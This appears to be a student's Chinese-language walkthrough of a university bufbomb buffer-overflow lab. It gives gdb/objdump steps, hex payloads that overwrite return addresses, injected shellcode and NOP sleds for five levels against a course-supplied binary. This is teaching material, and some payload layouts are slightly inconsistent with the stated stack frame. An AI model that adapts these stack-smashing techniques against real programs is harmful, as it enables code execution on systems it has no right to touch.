从零攻破西工大lab3-bufbomb:一份小白的缓冲区溢出攻击实战手册
1. 实验背景与目标拆解第一次看到西工大lab3的bufbomb实验说明时我的大脑完全处于宕机状态。缓冲区溢出这个名词在课本上见过但真要动手攻击一个程序感觉就像让小学生去拆核弹。经过三天三夜的挣扎我终于摸清了门道——其实只要把整个攻击过程分解成找漏洞-改地址-塞代码三个步骤事情就会变得简单很多。这个实验的核心是让我们理解函数调用栈的脆弱性。当程序调用getbuf()函数时会在栈上分配一块内存用于存储局部变量。如果我们输入的字符串长度超过了缓冲区预设大小多出来的数据就会覆盖栈上的关键信息比如函数返回地址。通过精心构造攻击字符串我们就能让程序执行原本不该执行的代码。实验包含五个渐进式关卡Smoke最简单的地址跳转Fizz需要传递参数的基础攻击Bang注入可执行代码的中级攻击Boom控制程序返回值的进阶攻击Nitro应对随机栈地址的终极挑战2. 环境准备与工具配置工欲善其事必先利其器在开始攻击前需要准备好这些武器实验文件从课程网站下载bufbomb.tar压缩包解压后会有这些关键文件bufbomb靶程序我们要攻击的目标makecookie生成个人专属cookie类似身份证号hex2raw字符串格式转换工具调试工具sudo apt install gdb # 安装调试器 gdb -q ./bufbomb # 启动调试 layout asm # 显示汇编代码窗口必要检查用file bufbomb确认程序是32位ELF格式用checksec查看程序保护机制实验通常关闭了ASLR和栈保护注意所有操作建议在课程提供的虚拟机中进行避免因环境差异导致攻击失败3. Smoke关卡实战详解作为最简单的入门关卡Smoke只需要我们劫持程序流跳转到smoke函数。但第一次尝试时我连怎么输入攻击字符串都不知道直到发现这个技巧3.1 关键地址定位首先用objdump反汇编程序objdump -d bufbomb asm.txt在输出文件中搜索smoke和getbuf08048bde smoke: 08048d70 getbuf:记下smoke函数的入口地址0x08048bde3.2 栈帧结构分析查看getbuf的汇编代码push %ebp mov %esp,%ebp sub $0x28,%esp # 分配40字节缓冲区 ...这说明buf数组起始地址$ebp-0x28返回地址存储在$ebp0x43.3 攻击字符串构造需要构造的payload结构[40字节垃圾数据][4字节旧ebp][smoke地址]由于x86是小端序地址要倒着写。创建smoke.txt00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # 40字节填充 de 8b 04 08 # smoke地址用hex2raw转换后发起攻击cat smoke.txt | ./hex2raw | ./bufbomb -u 学号看到输出Smoke!: You called smoke()就成功了4. Fizz关卡参数传递的艺术Fizz关卡要求不仅跳转到fizz函数还要传递正确的cookie值。我在这里卡壳了两小时直到发现参数存储的规律。4.1 获取个人cookie./makecookie 学号输出类似0x123456784.2 分析fizz函数反汇编显示参数存储在ebp8的位置08048c06 fizz: push %ebp mov %esp,%ebp sub $0x18,%esp mov 0x8(%ebp),%eax # 获取参数4.3 构造攻击payloadpayload结构[40字节垃圾数据][4字节旧ebp][fizz地址][4字节返回地址][cookie]实际构造时要注意fizz地址0x08048c06 → 06 8c 04 08返回地址可以随便填如四个00cookie需要小端格式最终fizz.txt示例00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 # 40字节填充 06 8c 04 08 # fizz地址 00 00 00 00 # 返回地址 78 56 34 12 # cookie值5. Bang关卡代码注入实战Bang关卡需要注入汇编代码来修改全局变量这是我第一次写恶意代码既紧张又兴奋。5.1 定位关键变量用gdb查找global_value地址(gdb) x/x global_value 0x804d138 global_value: 0x000000005.2 编写攻击代码创建bang.s文件movl $0x12345678, 0x804d138 # 写入cookie值 push $0x08048c55 # bang函数地址 ret # 跳转执行编译获取机器码gcc -m32 -c bang.s objdump -d bang.o输出中的机器码c7 05 38 d1 04 08 78 56 34 12 68 55 8c 04 08 c35.3 构造nop雪橇由于栈地址可能有偏差需要在代码前加nop指令0x90[90 90 ... 90][攻击代码][返回地址]返回地址指向缓冲区中间某个nop位置比如00 00 00 00 00 00 00 00 00 00 90 90 90 90 90 90 90 90 90 90 c7 05 38 d1 04 08 78 56 34 12 68 55 8c 04 08 c3 00 00 00 00 a0 ee ff bf # 指向第二个90的地址6. Boom关卡精准控制返回值这个关卡要求getbuf()返回cookie而非1需要理解函数返回值存储机制。6.1 分析返回值存储通过反汇编发现返回值存储在eax寄存器正常返回时会执行mov $0x1,%eax6.2 编写注入代码boom.s内容mov $0x12345678, %eax # 设置返回值 push $0x8048de5 # getbuf返回后下条指令地址 ret获取机器码b8 78 56 34 12 68 e5 8d 04 08 c36.3 确定栈帧地址关键是要恢复ebp寄存器(gdb) break getbuf (gdb) run (gdb) info registers ebp ebp 0x55683ad0最终payloadb8 78 56 34 12 68 e5 8d 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 3a 68 55 # 原始ebp值 08 ee ff bf # 指向代码起始7. Nitro关卡对抗地址随机化最难的关卡需要应对每次不同的栈地址我用了整整一天才攻克。7.1 分析栈地址变化通过gdb多次运行发现缓冲区起始地址在0x55683908~0x55683b10之间波动每次偏移量不同但范围固定7.2 构造nop雪橇需要填充足够大的nop区域确保命中[nop x 505][攻击代码][返回地址x5]攻击代码与boom类似但要处理五次调用mov $0x12345678, %eax lea 0x18(%esp), %ebp # 修复ebp push $0x8048e3a # testn返回地址 ret7.3 最终payload结构[505字节nop] [攻击代码机器码] [5组返回地址] [每组地址间隔0x0a]实际构造时要注意用python生成nop序列print(\x90*505)返回地址指向nop区域中部每组地址用换行符(0x0a)分隔8. 调试技巧与常见问题在实验过程中我踩过无数坑总结出这些救命技巧8.1 gdb实用命令break *0x08048d70 # 在getbuf入口设断点 x/40xw $esp # 查看栈内存 info frame # 查看当前栈帧 stepi # 单步执行汇编指令8.2 常见错误排查Segmentation fault检查返回地址是否有效攻击无效确认字节序是否正确hex2raw报错检查输入文件是否有非法字符8.3 效率提升技巧用python生成攻击字符串print(\x90*40 \xde\x8b\x04\x08)使用管道快速测试python -c print(A*40\xde\x8b\x04\x08) | ./hex2raw | ./bufbomb完成这五个关卡后我对栈帧结构的理解有了质的飞跃。缓冲区溢出就像精确的外科手术需要准确计算每个字节的位置。最深刻的体会是任何微小的内存错误都可能导致程序完全失控这让我在之后写代码时总会格外注意数组边界检查。